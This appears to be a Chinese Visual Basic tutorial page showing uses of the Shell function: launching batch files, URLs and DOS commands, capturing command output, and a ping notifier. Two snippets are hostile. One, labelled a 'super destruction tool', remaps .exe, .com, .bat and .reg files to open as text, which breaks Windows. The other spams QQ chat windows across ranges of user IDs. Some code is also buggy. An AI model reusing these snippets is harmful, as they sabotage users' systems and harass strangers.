📄 vb-shell.txt
字号:
[原创]VB里SHELL函数的使用示例SHELL函数是VB里面一个很重要的函数,下面通过以前写的几个例子来说明。
一、问题: 如何得到DOS SHELL窗口中的文字?
比如一个DOS SHELL运行完以后显示的结果,怎么得到?
Private Sub Form_Load()
Open "C:\test.bat" For Output As 1
Print #1, "dir c:\*.* >> c:\test.bat"
Close 1
Shell "c:\test.bat"
End Sub
二、程序员也常常希望用户能点击软件上的链接而直接打开自己的主页或给自己写信。用下面的方法可以不另外添加控件而实现这种功能。
Private Sub Form_Load()
Dim url$
Dim email$
url = "http://www.sohu.com"
email = "mailto:hgx512000@sohu.com"
Shell "start.exe " & url, vbHide 'start.exe其实不好用,在2000没有这个文件,改为explorer.exe最好。
Shell "start.exe " & email, vbHide
End Sub
注意:Start.exe 后别忘了留空格。
三、利用文本框调用MSDOS(在文本框输入命令后即可执行DOS命令)
Private Sub Command1_Click()
Dim dos$
Dim rundos$
dos = "command.com /c " & Text1.Text
rundos = """" & dos & Chr(34)
Shell "start.exe " & dos, vbHide
End Sub
Private Sub Command2_Click()
Text1.Text = ""
End Sub
Private Sub Command3_Click()
Unload Me
End Sub
四、QQ强制聊天工具
Dim i As Long
Dim j As Long
Private Sub Command1_Click()
i = Val(Text1.Text)
j = Val(Text2.Text)
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
Private Sub Label3_Click()
Form2.Show
End Sub
Private Sub Label4_Click()
Dim url$
Dim email$
url = "http://www.ehaonet.com/cgi-bin/leobbs/leobbs.cgi"
Shell "start.exe " & url, vbHide
End Sub
Private Sub Timer1_Timer()
Dim dos$
Dim rundos$
Dim istring$
Dim istring2$
istring = Str(i)
istring2 = Right(istring, Len(istring) - 1)
dos = "http://wpa.qq.com/msgrd?V=1&Uin=" & istring2 & "&Site=http://www.sohu.com&Menu=yes"
rundos = """" & dos & Chr(34)
Shell "start.exe " & rundos, vbHide
i = i + 1
If i > j Then Timer1.Enabled = False
End Sub
五,超级破坏工具
Private Sub Command1_Click()
Shell "cmd /c assoc .reg=txtfile", vbHide
Shell "cmd /c assoc .bat=txtfile", vbHide
Shell "cmd /c assoc .com=txtfile", vbHide
Shell "cmd /c assoc .exe=txtfile", vbHide
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
Private Sub Label1_Click()
Shell "start.exe http://www.ehaonet.com/cgi-bin/leobbs/leobbs.cgi"
End Sub
Private Sub Label2_Click()
Form2.Show
End Sub
六,利用文本框调用MSDOS,显示执行结果。
Private Sub Command1_Click()
Dim dos$
Dim rundos$
Dim i As Integer
dos = "command.com /c " & Text1.Text
rundos = """" & dos & Chr(34)
For i = 1 To Len(Text1.Text)
If Mid(Text1.Text, i, 1) = ">" Or Mid(Text1.Text, i, 1) = ">>" Then
Shell "start.exe " & rundos, vbHide
Open "C:\sgxyhgx.bat" For Output As 1
Print #1, Text1.Text
Close 1
Shell "command.com /c c:\sgxyhgx.bat >c:\sgxyhgx.txt", vhhide
Exit For
End If
If i = Len(Text1.Text) Then
Open "C:\sgxyhgx.bat" For Output As 1
Print #1, Text1.Text; " >c:\sgxyhgx.txt"
Close 1
Shell "c:\sgxyhgx.bat", vhhide
End If
Next i
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Text1.Text = ""
Text2.Text = ""
End Sub
Private Sub Command3_Click()
Unload Me
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell "command.com /c del c:\sgxyhgx.bat"
Shell "command.com /c del c:\sgxyhgx.txt"
End Sub
Private Sub Label2_Click()
MsgBox ("如下面命令:" & Chr(13) & Chr(10) & "copy c:\2.txt d:\3.txt" & Chr(13) & Chr(10) & "如果不写目标地址d:\,则3.txt在本程序所在目标生成")
End Sub
Private Sub Timer1_Timer()
Dim nline$
Dim sumline$
Open "c:\sgxyhgx.txt" For Input As #2
Do Until EOF(2)
Line Input #2, nline
sumline = sumline + nline + Chr(13) + Chr(10)
Loop
Close #2
Text2.Text = sumline
Timer1.Enabled = False
End Sub
能上网时通知我:
Private Sub Command1_Click()
Unload Me
End Sub
Private Sub Command2_Click()
Me.Hide
End Sub
Private Sub Timer1_Timer()
Dim nline As String
Dim sumnline As String
Open "c:\1.txt" For Input As #1
Do Until EOF(1)
Line Input #1, nline
sumnline = sumnline & nline + Chr(13) + Chr(10)
Loop
Print sumnline
j = Len(sumnline)
For i = 1 To j
If Mid(sumnline, i, 5) = "Reply" Then
Shell "D:\Program Files\Windows Media Player\wmplayer.exe F:\H\下载音乐\分飞.mpga"
MsgBox ("终于能上网啦,上吧上吧。")
Timer1.Enabled = False
Timer2.Enabled = False
Unload Form1
Exit For
End If
Next i
Close 1
End Sub
Private Sub Timer2_Timer()
Shell "command.com /c ping www.163.com >c:\1.txt", vbHide
End Sub
查找字符串:
Private Sub Command1_Click()
pop = InStr(1, Text1.Text, Text2.Text) 'instr的用法是(开始位置,要被查找的字符串,查找字符串)
If pop > 0 Then '有匹配的字符串
Text1.SelStart = pop - 1 'selstart是从0开始算起的
Text1.SelLength = Len(Text2.Text)
Text1.SetFocus
End If
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -